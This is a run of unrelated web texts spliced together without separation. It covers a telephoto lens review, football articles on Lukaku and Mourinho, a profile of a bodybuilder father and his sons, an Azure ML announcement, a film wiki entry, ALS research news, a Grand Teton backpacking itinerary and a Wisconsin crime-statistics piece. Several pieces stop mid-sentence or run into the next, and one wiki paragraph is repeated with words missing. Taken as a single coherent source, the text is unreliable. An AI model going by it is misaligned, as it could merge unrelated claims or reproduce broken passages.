I did not yet get the chance to try one of these. From what I have read it is as good as the Nikon lens mentioned above. It might be your best option (in terms of availability) if you are looking for such a lens to use on your E-mount cameras with AF.
Price range: 4600$ (used) to 5700$ (new)
Manual focus:
Nikon Ai-S 200mm 2.0 ED:
This might be the optically least impressive of the bunch but it is also the most affordable. From what I have seen sharpness wide open isn’t as impressive and it has the worst loCA correction.
Price range: 1700$ to 2500$
Contax/Yashica Zeiss Aposonnar 200mm 2.0 T*:
I barely know anything about this lens. If you happen to own one drop me a note 🙂
Price range: 3500$ to 4500$
Olympus OM Zuiko 180mm 2.0:
This is a very rare lens but I finally managed to find one. It is the lightest of the lenses mentioned here and by at least 1 kg so. It also offers the highest magnification and on top of that it seems to be a little more contrasty than the Canon reviewed here (in the center), but loCA correction is on a very similar level.
Price range: 2500$ to 5000$
Leica APO-Summicron-R 180mm 2.0:
This is the most expensive lens in this class. Today most of them are probably in some collector’s showcases and therefore I can’t tell you much about it. If it is a true apochromatic design it might be – in terms of optical quality – the best manual lens in this class, but I will probably never find out.
Price range: I have only seen one for 7000$ so far
Canon nFD 200mm 1.8 L:
Same lens as the one reviewed here but with manual focus only and FD mount. Very rare!
Price range: I have only seen one for 8000$ so far
Conclusion
good bokeh, bokeh, bokeh!
excellent sharpness wide open at all distances across the whole frame
distortion
build quality
sunstars
focus-by-wire implementation average vignetting
correction of longitudinal CA not good correction of lateral CA
flare resistance
saw tooth bokeh balls from f/2.0 to f/2.8
size/weight
price/availability
no more spare parts(?)
This is still a spectacular lens, but it comes at a price. Not only because if is far from cheap but also because it is very heavy and bulky. I strongly recommend a decent monopod and tripod to make full use of it.
In terms of bokeh it has not been surpassed by its successor. A maximum aperture of f/1.8 in a 200mm lens is just staggering!
But in terms of sharpness, contrast and CA correction it probably has been slightly surpassed by its successor. For portrait applications I might in fact prefer this one though, as skin is rendered very nice and soft.
On the used market the newer version is still roughly a grand more, but it might make sense investing that if you really need a lens like this on a regular basis.
The spare parts situation with this lens is an issue. From what I have heard Canon is not really interested in repairing these, but there seems to be a repair shop in the US who has a good rate of fixing these. Keep that in mind before pulling the trigger.
Unfortunately this is a problem with many older super tele lenses and will probably also be one with the current ones a few years down the road (maybe even more so, as with IS in newer lenses there is another electronic part that can break down).
I will have a look at the Zuiko 180mm 2.0 soon, which has fewer electronic components 😉
If you can live with that risk this might still be the best portrait lens there is, that bokeh is nothing short of spectacular! Furthermore this is one of a kind, there hasn’t been a new 200mm 1.8 since and at the moment I doubt there will ever be one again…
You can get one used for roughly 3000$/3000€ on ebay.com /ebay.de (affiliate links) but they are pretty rare so it might take some time finding one.
Sample Images
You can find most of the shots in this review in full resolution here.
Further ReadingGet the biggest Everton FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
He was within seconds of being the matchwinner in one of the most memorable derbies in recent times.
Now Romelu Lukaku will be looking to go one better when Everton entertain Liverpool in the 224th running of English football’s most famous parochial spat.
Ian Doyle looks at how the Belgian striker can once again make his mark in the Merseyside derby.
He knows all about the derby...
Lukaku may have been at Goodison for less than 18 months, but he is aware of the contrasting fortunes that facing Liverpool can provoke.
The good came with his two-goal salvo on his derby debut in November 2013, an afternoon Lukaku declared as his “best experience in club football”.
The bad arrived a few months later when, in the Anfield return, Lukaku collided with team-mate Gareth Barry while attempting to prevent Steven Gerrard from heading Liverpool in front.
Lukaku departed on a stretcher and was sidelined for the next month. Everton lost 4-0.
The ugly, meanwhile, was in his most recent derby outing, a peripheral figure on the wing in September at Anfield as the Blues scraped an unlikely 1-1 draw thanks to Phil Jagielka’s late thunderbolt.
Lukaku will hope the cycle returns to the start on Saturday.....
Lukaku loves playing against Liverpool...
Ever since moving to England, there’s something about the Reds – and facing Brendan Rodgers in particular – that brings the best out of the Belgian.
Lukaku marked Rodgers’ first game in charge at Liverpool by coming off the bench to score the final goal in a 3-0 win for West Bromwich Albion at The Hawthorns.
He was at it again in the return match, netting in the final minute as the Baggies recorded a rare triumph at Anfield.
Factor in his brace at Goodison last season, and no wonder the Reds will beware the powerful 21-year-old.
Big Rom can scare Liverpool at set-pieces...
We’ll gloss over the fact Lukaku’s most recent set-piece goal was inadvertently directed beyond his own goalkeeper Tim Howard at Southampton.
His sheer size and presence makes the Belgian a major danger at dead-ball situations, not least with Leighton Baines providing the ammunition.
Certainly, it was too much for Liverpool at Goodison last season, with the second of his two goals a powerful header in front of the Gwladys Street from a corner.
Despite their improvement over recent weeks, the Reds still seem uneasy at set-pieces, with Lukaku likely to be urged to make himself a |
before. ”
In 1981, Brown fulfilled the destiny set out for him by Caracas, winning the Mr. Universe amatuer title to join the likes of Arnold Schwarzenegger, Lou Ferrigno and Steve Reeves. The next year he won again, making him the only man in history to repeat in that division. He gained an especially ardent following in Europe, where he graced the covers of magazines and earned the bulk of his income. “His posing was so unique that everybody around the world wanted to see it,” Ray says, “and that kept his passport full and his bank account fat.
Brown attributes his achievements to working backward. He knew he wanted to be a world champion bodybuilder; he just had to ascertain a formula for how to do it. He pored over all of his contemporaries’ measurements, their heights and weights, body structures and fat percentages. The data gave him a measuring stick. Then it became just a matter of doing the work.
As a teenager he built a bench press from materials he scavenged out of his neighbors’ garages. Once he grew bigger, his primary challenge became retaining enough weight to stretch across his humongous frame. He abstained from sex during the weekdays and woke up at 3 a.m. to eat a homemade concoction of ground beef, pork and beans that he called “dog food.” The routine was monotonous and he grew to detest the predawn chewing; rather than quit, he blended it into a drink. When he went out to clubs, he would dance only until a preset time; then, he would plop into the nearest chair, place his hands on his knees and sit still until his friends wanted to leave.
“I wouldn’t move, because I didn’t want to burn calories,” he says. “I was that disciplined.”
Brown has approached his entire life as an ongoing series of riddles to solve. He believes it’s the secret behind his and Miriam’s well-rounded sons. The Browns insist that none of their boys that intelligent or that disciplined. “Amon never read a book in his life,” Miriam jokes. They simply collaborate as parents to push—sometimes drag—their sons toward their full potential. It isn’t as though the St. Browns blend their own protein drinks or volunteer to cram foreign language vocabulary into their brains.
“We just gave them the answers,” John says. “Figure out the way to give your kids the answers. That’s all it is. It’s like a magic trick.”
From left: Osiris St. Brown, John Brown, Equanimeous St. Brown, Miriam Brown and Amon-Ra St. Brown. Quinton Dominguez
Ninety minutes after the workout, the boys are back home playing video games. They’re accustomed to being together. For most of their lives, they slept in the same bedroom, back when the family lived in a small condo instead of a two-story house. Despite all that testosterone in cramped quarters, they never had one fistfight. Which isn’t to say that they aren’t competitive. Each one gives the same answer when he’s asked who has the softest hands or runs the fastest or jumps the highest or is the best all-around: “Me.”
That cut-throat spirit is apparent with controllers in their hands. The sounds of teenage bickering waft down to the kitchen, where John sits by the island’s marble countertop. To him, these are the two best weeks of his year, the small sliver of time when the boys are all home and the family is whole again.
Even having one boy off at college taught John to dread the life of an empty nester. Now, two are gone. Next year Amon-Ra leaves. He’s gradually growing lonely. He and Miriam will go to at least one of the boys’ games each weekend, but seeing them on the field is not the same. “Coming home, knowing that when you open the door, they’re not going to be there to greet you—it’s like death,” he says. “I have a broken heart.”
John spent the last two decades being omnipresent in their lives. He took them everywhere he could when they were babies, from work to the beach to any errand in between. As elementary schoolers, he’d miss them so badly that he’d sometimes show up unannounced on a Friday afternoon and pull them out of class. “It’s a beautiful day!” he’d shout. “We’ve got to get out of here!” He’d march them to the car, pick up lunch and drive wherever they wanted to go. The destination was unimportant.
That couldn’t last, of course, which is why the gym matters so much to him. As demanding as he is, it’s never really been just about the workouts. “It’s the only place we go to where we’re all together again,” he says. His voice is soft, and his face crinkles into a wistful smile. “We’re all together, like nothing ever changed. There’s no girlfriends. There’s no friends. We’re all together. It’s just us.”
Like every parent, he wonders how time slipped by so quickly. Was that the hidden cost of the work they put into raising them? How much did they miss when grinding day in and day out to lift their children to such lofty heights?
“It’s like a tornado,” John says. “We don’t get a chance to really appreciate it from that perspective, because we’re in it. That’s the difficult thing. I know they’re good. Of course I’m proud of them. But to see what other people see? I’m sure I will never see it.”
He is trying, though. The last few years he’s taken to sitting on the opposing team’s sideline during games and offseason competitions. He wants to hear what people say when one of the boys scores a touchdown, to reconcile the world’s outsized perception of the boys with his more tempered ones. He wants to feel O.K. that there is less time to teach and there are fewer answers to hand out now, because what he and Miriam have done already is more than enough.
Later that day, John sits down at his desktop computer and pulls up a trove of video. He’s been taping the boys almost as long as he’s been training them, and with a few clicks of the mouse he can relive everything. He summons clips from all ages. A night in a hotel room before a big Pop Warner game. An afternoon at home, when the boys run around shirtless with mohawks and kid-sized six-pack abs. An early morning on the field, where he laces into them for slacking off. “I was too hard on them that day,” he muses.
These are for him, mostly, although he says he only watches them about every eight months or so. But like everything else, there’s a larger purpose in mind: He wants to be ready in case someone ever decides to make a documentary. Because that way, John and Miriam Brown can ensure that everyone else sees what they do, instead of the other way around. That their three boys are already anomalies and may soon become superstars, but they are also still their children. And, as John says, and as the rest of the world is about to learn, “It’s really cool to hang out with them.”Microsoft has been on quite a cloud roll lately and today it announced a new cloud-based machine learning platform called Azure ML, which enables companies to use the power of the cloud to build applications and APIs based on big data and predict future events instead of looking backwards at what happened.
The product is built on the machine learning capabilities already available in several Microsoft products including Xbox and Bing and using predefined templates and workflows has been built to help companies launch predictive applications much more quickly than traditional development methods, even allowing customers to publish APIs and web services on top of the Azure ML platform.
Joseph Sirosh, corporate vice president at Microsoft, who was in charge of the Azure ML, and spent years at Amazon before joining Microsoft to lead this effort, said the platform enables customers and partners to build big data applications to predict, forecast and change future outcomes.
He says this ability to look forward instead of back is what really stands out in this product.
“Traditional data analysis let you predict the future. Machine learning lets you change the future,” Sirosh explained. He says by allowing you to detect patterns, you can forecast demand, predict disease outbreaks, anticipate when elevators need maintenance before they break and even predict and prevent crime, as just a few examples.
Sirosh says the cloud really changes the dynamic here because it provides the ability to scale, and the service takes care of much of the heavy lifting that would have taken weeks or months for companies trying to do it themselves in-house in a data center.
“The cloud solves the last mile problem, Sirosh explained. Before a service like this, you needed data scientists to identify the data set, then have IT build an application to support that. This last part often took weeks or months to code and engineer at scale. He says Azure ML takes that process and provides a way to build that same application in hours.
What’s more is it supports more than 300 packages from the popular open source project R used by many data scientists.
Sirosh says the hope is that as more people use the platform and generate APIs and applications, and create what he called, “a virtuous cycle between data and APIs. ” People have data. They bring it to [Azure ML] to create APIs. People hook into applications then feed data back to the cloud and fuel more APIs, “he explained.
The product is currently in confidential preview, but Microsoft did mention a couple of examples including Max 451, a Microsoft partner working with large retailers to help predict which products customers are most likely to purchase, allowing them to stock their stores before the demand.
Carnegie Mellon University is working with Azure ML to help reduce energy costs in campus buildings by predicting and mitigating activities to reduce overall energy usage and cost.
Microsoft is not alone in this space, however. IBM launched Watson as a cloud service last winter for similar types of machine learning application building and just last week a startup called Ersatz Labs also launched a deep learning artificial intelligence cloud platform.
Azure ML goes into public preview next month. There is no word yet on the official launch date.Mad Magazine Presents Up the Academy is a 1980 American teen comedy film directed by Robert Downey Sr. and starring Wendell Brown, Tommy Citera, Ron Leibman, Harry Teinowitz, Hutch Parker, Ralph Macchio, Tom Poston, King Coleman, and Barbara Bach. The plot concerns the outrageous antics of a group of misfits at a military school.
Premise [ edit ]
At the Sheldon R. Weinberg Academy, four young teens are sent to school and learn the discipline that the school teaches. Almost immediately, they don't like what is going on. Along the way, they plan their own actions from looking for girls to holding a party without the faculty's knowledge.
Cast [ edit ]
Production [ edit ]
The film was an attempt to cash in on the phenomenal and unexpected success of National Lampoon's Animal House, which was also a film made by a comedy magazine about a group of misfits at college. In 1983, Mad publisher Bill Gaines explained the genesis of his magazine's involvement in the film to The Comics Journal:
What happened is that we had a contract with Warner Brothers to put out a Mad movie. It's like four years old now. They came up with a script that we didn't like, and then they came up with a script using our scriptwriters that they didn't like, but meanwhile they threw this script onto our desk... Although there were many things in it that I thought were offensive and should be removed, generally I liked the script. And I thought, 'Well, in addition to a Mad movie, there's nothing wrong with having something like Lampoon did with Animal House. Animal House was "Lampoon Presents" and really had nothing to do with the magazine, it was just using their name, and it was a good movie, and it was very successful, and it made Lampoon a lot of money. I guess. So we were going to do the same thing. "Mad Magazine Completely Disassociates Itself from Up the Academy". But that was too long for them, they can't think in that many words. They put the damn thing out without all the deletions they had promised to make, which means they're liars. I'm talking about one of my sister companies [laughter]... And there we were connected with it, and there wasn't much we could do about it. I paid Warner Brothers 30 grand to take Mad's name off for television. So for $30,000 we got out of being associated with it on Home Box Office. It won't say "Mad Magazine Presents" and Alfred E. Neuman won't be in it. And it was well worth $30,000. [laughter][1]
It was directed by Robert Downey Sr., and starred Wendell Brown, Tommy Citera, Harry Teinowitz, Hutch Parker (younger brother of Parker Stevenson), Tom Poston, Barbara Bach, Stacey Nelkin, Ralph Macchio (his screen debut) and King Coleman. The movie was filmed entirely in Salina, Kansas, mostly on the campus of St. John's Military School.
Response [ edit ]
The film was neither a commercial nor critical success when it was originally released, and was disowned by both the staff of Mad magazine and actor Ron Leibman (who, despite his sizable role, had his name completely removed from the credits and promotional material). Besides paying Warner Bros. $30,000 to remove all references to Mad from the film when it was released on home video, Mad's publisher William Gaines issued personal handwritten apologies to every person that wrote the magazine to complain. However, the film developed a small cult following.[citation needed] Following Time Warner's purchase of Mad (and after Gaines' death in 1992), all references to the magazine were reinstated on cable television. In 2006, the original version of the film was issued on DVD.
Production notes [ edit ]
References in Mad magazine [ edit ]
In the tradition of Mad making fun of movies, the magazine spoofed their own film with " Mad Magazine Resents Throw Up the Academy". The parody mainly concerned Ron Leibman's name being removed, and the teenage troublemakers being punished by having to star in the film. Unlike most Mad movie parodies which are often several pages in length, this one was only two (appearing in place of the magazine's usual letters column), as the piece devolved into a series of supposed interoffice memos by the writer, artist and editors, all decrying their role in the parody. Finally, a fake note said that the entire staff of Mad quit over their shame, and the article was hereby discontinued.
making fun of movies, the magazine spoofed their own film with " Magazine Resents Throw Up the Academy". The parody mainly concerned Ron Leibman's name being removed, and the teenage troublemakers being punished by having to star in the film. Unlike most movie parodies which are often several pages in length, this one was only two (appearing in place of the magazine's usual letters column), as the piece devolved into a series of supposed interoffice memos by the writer, artist and editors, all decrying their role in the parody. Finally, a fake note said that the entire staff of quit over their shame, and the article was hereby discontinued. The statue featuring Alfred E. Neuman with a pigeon on his head is currently located in Mad's editorial offices.[3]
Sequel [ edit ]
On March 2, 2018, Mad announced via their Twitter page that a sequel to the original film will be written by an A-list film writer.[4]Heads Still Dry, Scientists Try New Approach With ALS
Enlarge this image toggle caption David J. Phillip/AP David J. Phillip/AP
While your Facebook friends douse themselves with buckets of ice-cold water to raise money to fight amyotrophic lateral sclerosis, an international team of scientists said they'd taken a small step toward drowning out the deadly disease.
Researchers from the Scripps Research Institute and the Mayo Clinic developed a new drug that combats molecular contributors to ALS, which currently afflicts more than 30,000 Americans.
Commonly known as Lou Gehrig's disease, ALS gradually damages nerve cells that control muscles. Early symptoms may include difficulty walking and slurred speech. Over time, people lose the ability to stand and walk. As muscles in the chest weaken, breathing becomes difficult. The disease is fatal. Many people die from respiratory complications.
There is no cure for ALS and only one FDA-approved drug treatment, which only slows its advances a little.
"ALS is one of the worst diseases you can get," says Matthew Disney, a chemist at the Scripps Research Institute in Florida, and an author of the study. "If we don't understand its biology, we can't make a therapeutic treatment."
Recently, scientists identified a mutated gene called C90RF72 that is linked with ALS. That gene can produce a toxic protein, which scientists think may contribute to the disease.
The team is working on a potential drug treatment that would disrupt production of the protein, reducing it by half in some lab experiments. The interdisciplinary group published their work Thursday in the journal Neuron.
Though other researchers are also working on ways to combat ALS, Disney says that his team is the first to focus on a pill that could be taken to block the potentially dangerous protein.
"Given the severity of this disease, it's important that as many possible approaches are brought to the table," Disney tells Shots.
The team also found that they could detect within a patient's cerebrospinal fluid a previously known marker for the toxic protein. That finding, Disney said, would allow scientists and doctors to assess how well a drug aimed at shutting down the protein is working in patients.
"It's very exciting because it's such an important leap forward to a developmental approach," said Lucie Bruijn, chief scientist for the ALS Association. Although she also cautions, "We can't be too definitive yet. It's in an early stage, but it's fantastic that we've come this far."
The experiments with the drug are at a very early state. So far, the medicine has only been tested in cells grown in the lab. Also, the biomarker the researchers developed does not indicate how advanced the ALS is in someone who shows signs of the disease.
Still, Disney says, the clinical implications of this work could be both a way to identify if someone has ALS and then a targeted way to treat it.
But Disney says the work, hasn't resulted in any licensing agreements or partnerships with drug companies. It's too early for that, he says, underscoring how the approach, even if successful, is a very long way from resulting in a medicine that could be put into clinical practice.There are a total of 12 permits available, but the trip is currently capped at 8. If we get all 8 spots filled and you want one of the other spots, e-mail me directly and we can discuss.
***Forgot the topo map/route! Here ya go! http://hikearizona.com/map.php?MY=5759&M=6
Mountains of the Imagination
“Rising above a scene rich with extraordinary wildlife, pristine lakes, and alpine terrain, the Teton Range stands monument to the people who fought to protect it. These are mountains of the imagination. Mountains that led to the creation of Grand Teton National Park where you can explore over two hundred miles of trails, float the Snake River, or enjoy the serenity of this remarkable place. “ – NPS website.
Our journey has us backpacking. I was lucky enough to score some of these coveted permits and have designed an awesome, epic trip for us to enjoy. We will be camping in 3 different spots in the backcountry and get to see some truly, truly wonderful things.
Lions, Tigers, and Bears…Oh My! - ok wait, it’s just bears…
Black and grizzly bears thrive in the park and parkway. No, that’s not a typo at all…I really did write “grizzly”. I told you this trip would be epic, didn’t I? Anyways, there are detailed guidelines listed in the backcountry trip planner that will keep us safe. I’ll be frank…with bears there is no guarantee of safety…but as long as we are smart, as long as we follow the rules, we will be just fine. Oh, and all of the group sites have bear-boxes near them for our use…so that will help take care of that! ***Also please note that we will have to hike with bear cans. We can pick them up from the rangers when we grab our physical permits.
Travel Info
Because of the distance away, and to simplify the logistics of having 12 people for this trip, I am planning on renting a 15-passenger van. There will be plenty of room for all of our gear. Anyways, the drive is right around 1000 miles from Phoenix…or 15 ½ hours of drive-time. We will meet in Phoenix at 9:00am Thursday, jump in the van, and head north. There a ton of great camping sites on the way to the park, but a few in particular are near (but still outside) of the park itself. As of now, I planning on driving to one of those campsites in one straight shot…of course we will be stopping for lunch, dinner, restroom breaks, gas, etc. along the way. We should get to the campground outside of the park around 1:00am or so...(probably more ‘or so’). We’ll get in to camp, we’ll setup, crash out, then wake with one of the most majestic mountain ranges in the country as our morning backdrop. Friday morning we will head to the park, grab our physical permits and bear cans, and start off on our trip.
July Weather
Bring rain-gear. You would be wearing it this time of year anywhere in Arizona, and here in the Tetons, it’s no different. You can expect periods of rain most likely every day, but from what I have heard they are just like the rains in the San Juans…so they build in the late mornings, release in the afternoons, and dissipate by the evenings. Even without rain, there will be a TON of water in these mountains…you’re bound to get wet somehow!
Average Daily High – 81°
Average Daily Low – 42°
Record High – 97°
Record Low – 26°
Days above 90° – 3
Days below 32° - 1
Itinerary (exact trail information and routing to come)
Day 0 – Thursday night/Friday morning at TBD
Day 1 – Friday night camping at Granite Middle/South Fork Group Site - ( http://www.nps.gov/grte/planyourvisit/upload/granopen.pdf )
Day 2 – Saturday night camping at Death Canyon Shelf Group Site – ( http://www.nps.gov/grte/planyourvisit/upload/DC.pdf )
Day 3 – Sunday night camping at South Fork Cascade Group Site – This is the one I’m most excited about…we will have Grand Teton (and the other 2) directly in our view and almost spittin’ distance from some of the glaciers. We will probably do most of our exploring of this area on Saturday, but this will also be camp for the night. ( http://www.nps.gov/grte/planyourvisit/upload/cascsf.pdf )
Day 4 – Out and drive back.
RSVPing
Costs - The cost of the trip is $123.88 per person. With 12 people going, this amount had everything factored in. The RSVP fee is going to cover all permit costs, all park costs, all camping costs, all vehicle rental cost contributions, and all fuel costs. So when you look at what your costs are covering, we’re really all getting a smoking deal!
Guests - Please note that there are no guests allowed on this trip. Because of the rareity of the trip, I am limiting the attendance to group members only. If there’s someone you want to go with you, have them signup for the group… If you want to take a guest, and they do not want to join the group itself, please contact me with the reasons and that you still want to go (I will evaluate this on a case-by-case basis).
Information
Grand Teton Park Site - http://www.nps.gov/grte/index.htm
Grant Teton Park Map - http://www.nps.gov/grte/planyourvisit/upload/GRTE_park_map_2011.pdf
Backcountry Trip Planner - http://www.nps.gov/grte/planyourvisit/upload/Backcountry13_web.pdf
The only thing remaining for this trip will be to select a campground near/in vicinity of the park that we can camp at Thursday night (Friday morning really). I will work on that component soon. For now, everything else is in place…
To make the most of our experience in the 3 short nights we will be in the park, we will be making use of the park shuttle. I am basing everything on the current shuttle provider in the park, Alltrans. The shuttle isn’t too bad at all at $14 for a day. That said, there is no point in having all of us take the shuttle…we will just have one or two people take the shuttle back to the van and then they can bring it up to the rest of the group at that point.The shuttle segment one or two of us will have to take runs from the visitor center at Jenny Lake, which is very near where we will come out of the Tetons via Cascade Canyon, back down to the van at the Craig Thomas Discovery and Visitor Center in Moose. Upon arriving back at the van, we will load up and start the journey back to the valley.
Friday
Friday morning is when we will be first entering the park. We will start by getting our permits at the Craig Thomas Discovery & Visitor Center. The earliest we can pick up the permits is when the office opens up, which is at 8:00am. We will also plan on parking here at the center so this will be our starting point of the trip. After getting our permits at the visitor center in Moose, we will be hiking to the trailhead we’re using for the Granite Canyon trail that we are taking up to our Day 1 campsite. Although not necessarily as remarkable as it will be once we enter the backcountry, we will still be enjoying some excellent views of the park and the Teton Range from the road.
From the center, we have just shy of 6 miles that we need to hike to the trailhead. We should make a pretty good pace as the total elevation gain of this segment is 161ft. If we get our permits at 8 and leave the center by 9, I figure this puts us at the trailhead right around 11:30am.
Friday afternoon we will be hiking our way from the trailhead up Granite Canyon. After approximately 5.9 miles, we will reach one of the Park Service’s patrol cabins. If we haven’t eaten lunch yet, we can definitely do it here…though I anticipate that we will have eaten prior to this point. Total elevation gain for this 6 mile stretch is 1,614 ft.
From the patrol cabin, we will be turning south on the Rendezvous Mountain Trail, which we will continue on for a total of 1.6 miles. At this point we will arrive at a trail junction with the Middle-Fork Cutoff trail, and we will be turning right (west) to continue on the Middle-Fork Cutoff trail. The cutoff trail goes for.6 miles before intersecting with the Teton Crest Trail. Total elevation gain for this 2.2 mile stretch is 1,007 ft.
At the junction of the Middle-Fork Cutoff trail and the Teton Crest trail, we will turn right (north) for.4 miles until arriving at our Friday night group campsite. This last segment of trail Friday will have a total elevation gain of -108 ft.
Day 1 Totals – 14.48 miles – 2,564 ft. elevation gain - 6,454ft. low point – 9,016ft.high point
Saturday
Saturday morning we will break camp and leave our first night’s campsite and head to where we will be staying on night 2. If there is an ‘easy’ or short day to this trip, Saturday is the one, so we should be able to really, really enjoy this one. That said, this still won’t necessarily be an ‘easy’ day, as if there is a time when we are going to need our ice axes, I suspect that this will be the day.
Our destination for the day is the Death Canyon Shelf Group Site. From our first day’s site to our second day’s site, we only have 5.2 miles to hike. Saturday we will spend the entirety of the day on the Teton Crest Trail.
Day 2 Totals – 5.2 miles – 786 ft. elevation gain – 8,898 ft. low point – 9,734 ft. high point
Sunday
Sunday morning we will break camp and make our way from the Death Canyon Shelf to what I consider to be the true crown jewel of our trip…the South Fork Cascade group site. Sunday presents us with a nice, full day, but shouldn’t be anything to worry about as we will have had a nice and easy Saturday behind us (ideally Saturday is our big recharge day) and we will be well acclimated to the elevations at this point.
Sunday finds us with a just shy of 10 mile day. This day also has us on the Teton Crest Trail for the majority of the day. During the 10 miles we have to do on Sunday, along the Teton Crest Trail, we will be going down the Sheep Steps, passing through Alaska Basin (which oddly isn’t actually in Grand Teton National Park), and making our way over Hurricane Pass, just before beginning to drop down to the South Fork Cascade Canyon and on to our campsite.
Day 3 Totals – 10 miles – 1,052 ft. elevation gain – 8,640 ft. low point – 10,540 ft. high point
Monday
Monday morning we will try and get as early start as possible by breaking camp and starting our way down to the main park road and, ultimately, back to the van so we can begin the long drive back. Remember that the drive is right around 1,000 miles, so we have a good 15 ½ hours just to get back to the valley once we start heading back. This means a couple of things… 1, we want to get on the road as early as we can on Monday. 2, there is a good chance that we will not make it back to the valley by the listed 10:00pm end time. 3, we will take turns driving in whatever way we have to in order to not put all of the responsibility on one person. 4, we will be able to rest when we aren’t driving or doing shotgun duties, so none of us should be in too bad of shape when we do get back to the valley.
Monday will be a bit of a whirlwind…but our trek out is really straight forward. From our South Fork Cascade campsite of Sunday night, we have a just under 8 miles hike to get to the Lake Jenny visitor center. We stay straight down Cascade Canyon while hiking, until we get really close to the lake and then we work our way around the southern end. From the Lake Jenny visitor center, we’ll pick two people that will take the Alltrans shuttle down to Moose to pickup the van and head back up to Lake Jenny to get the rest of the group. After everyone is all accounted for and loaded up in the van, we’ll start our long drive back to the P-h-X.
***Remember*** Because of our travel distance and time constraints, we need to break camp on Monday morning EARLY…as much as I hate to say it…as much as I cringe by saying it…and as reluctant as I am to say it…we need to shoot for leaving camp by 6:30am. If we hit the 6:30am camp departure time on Monday, we will be in overall pretty good shape. I figure that we can cover the 8 miles, all of which are downhill at this point, in just over 2.5 hours. This isn’t as hard as it may sound, as 3.2 mph is VERY achievable, even when not in all-out full-speed mode, when you are going downhill.
If the above holds true, we’ll get to the Jenny Lake Visitor center right around 9:00am, and presumably be all loaded up and in the van, heading out of the park by 10:00am. Keeping this timeline, we will arrive back in Phoenix at 1:30am Tuesday.
Any delays or cases where we spend more time than expected, will just put us back in Phoenix that much later. I do apologize for the tightness of this all, but it is really just a side-effect of planning a trip to a destination 1,000 miles away when we aren’t flying. I’m not worried though, because I just consider things like this a part of the cost of a truly epic trip.
Day 4 Totals – 8 miles - -1,877 ft. elevation gain (loss) – 8,665 ft. high point – 6,803 ft. low point
***Forgot the topo map/route! Here ya go! http://hikearizona.com/map.php?MY=5759&M=6The Portuguese is not a man of regrets but how different might the landscape be if he had succeeded Sir Alex Ferguson?
On Sunday, a little before four o’clock, José Mourinho will leave the tunnel at Old Trafford and walk along the front of the South Stand.
He will see ahead of him the touchline along which he sprinted and slid in 2004 after his Porto side had beaten Manchester United in the Champions League with a late goal. And before the halfway line he will turn right, and take his place in the away dug-out. Given he is not a man who seems particularly to regret, he may not even cast a glance to the bench 15 yards in front of him and wonder what might have been but there is another reality, not that far removed from this one, in which he would have been sitting in the home dug-out.
In March 2013 Mourinho’s Real Madrid beat Manchester United in the quarter-final of the Champions League. It turned out to be Sir Alex Ferguson’s final European game as a manager, his awareness of which perhaps explained the extreme nature of his fury at the red card shown – extremely harshly – to Nani.
Ferguson was not the only one with the sense that night of an era ending. Mourinho also seemed aware that the United job would soon be falling vacant and to be positioning himself for it. In the build-up to the game he had massaged egos all round, talking about what a great club United was. Afterwards he insisted that “the best team lost. We didn’t deserve to win but football is like this.” It was as though there was a conscious effort to ingratiate himself with United fans and officials, to show he was capable of diplomacy.
That does not necessarily mean that, as the El País journalist Diego Torres claimed in his controversial book on Mourinho’s time at Real Madrid, Mourinho sobbed when he found out David Moyes had been named as Ferguson’s successor, but he was clearly extremely interested in succeeding Ferguson. Mourinho denied Torres’s version of events which describes him in the Sheraton Mirasierra hotel constantly on the phone to his agents, Gestifute, in the two days before Moyes’ appointment, as the realisation slowly dawned that he would not be getting the job.
He subsequently said that he would have turned down any other offer once it became clear he could return to Chelsea.
Whatever Mourinho would have done, United did not approach him, despite the fact that he was clearly going to be available and that, in terms of trophies won, he was the outstanding candidate. Ferguson had no doubt as to his talents: “José’s managerial ability became the biggest obstacle to our rebuilding,” he wrote in his autobiography of 2005. He considered him “exceptionally good with players … meticulous in his planning”.
According to Torres, Mourinho felt “betrayed” that Ferguson had apparently backed Moyes over him – although Ferguson’s updated autobiography, which came out this week, denies he was influential in selecting his own successor. Torres also suggests Mourinho was haunted by memories of an interview Bobby Charlton had given in which he said that a United manager would never have poked an opposing coach in the eye as Mourinho did to Tito Vilanova in 2011. It also seems that there was a suspicion around Old Trafford about Mourinho’s love of playing political games, something that characterised both the end of his first spell at Chelsea and the final months of his Real Madrid career.
So perhaps United were never going to appoint Mourinho. Even Madrid, it appeared, turned to him only in extremis, when the need to topple Pep Guardiola’s Barcelona was so pressing that the club was prepared to tolerate the more Machiavellian aspects of Mourinho’s way of doing things.
Style off the pitch is probably something of more concern to directors than fans but United on the pitch would have changed had Mourinho taken charge. Ferguson, in his autobiography, makes specific reference to fans at the Bernabéu watching a string of 1-0 wins and wondering if they might prefer some 5-4s. The specifics might not quite tally with the reality – in his three years at Real Madrid, Mourinho won only two home league games 1-0, both in his first season – but the general point is both understandable and transferable to Old Trafford.
Mourinho’s brand of football is distinctive in the modern age in being largely reactive: against better sides, his preferred method is to sit his side deep and attack on the counter, as Chelsea did with devastating effect against Manchester City and Liverpool last season.
Talk of clubs having a defined style that somehow endures no matter the players and the manager is often self-romanticising nonsense but there is a perception that United play cavalier football with wingers. Mourinho would never have had any truck with that.
Would that have mattered? Probably not. In football, results have a tendency to outweigh everything else. And besides, to think of Ferguson’s first great United is to think of Andrei Kanchelskis and Ryan Giggs marauding forward as Arjen Robben and Damien Duff did or as Eden Hazard and Willian can – phases of play usually established by a rapid transition after possession has been regained. That is not to say Ferguson’s style and Mourinho’s are the same but that in one attacking element they share a similarity.
Would the world have turned out particularly differently had Mourinho rather than Moyes succeeded Ferguson? Well, Chelsea would almost certainly not be five points clear at the |
state legislature, was sold based on the idea that it would prevent crime from happening. If a criminal couldn’t be sure that a law-abiding citizen was carrying a gun or not, surely that criminal would be less likely to try and commit a crime.
In other words, it wasn’t just self-defense that justified concealed carry, but it was also deterrence of crime. Indeed, in signing the bill into law Gov. Scott Walker promised that the state would be safer for it.
Last month the FBI released the updated numbers for crime in the United States for the year 2015. My numbers from July of this year came from the Wisconsin Department of Justice, and were preliminary estimates. These new FBI numbers are considered more reliable, and are better to compare with previous years’ data.
New data suggests crime went up even more than we initially thought
What new information have we found? The new data shows that the estimates examined in my post from July were actually conservative. Violent crime, murder and gun crime trended worse than what I reported back then.
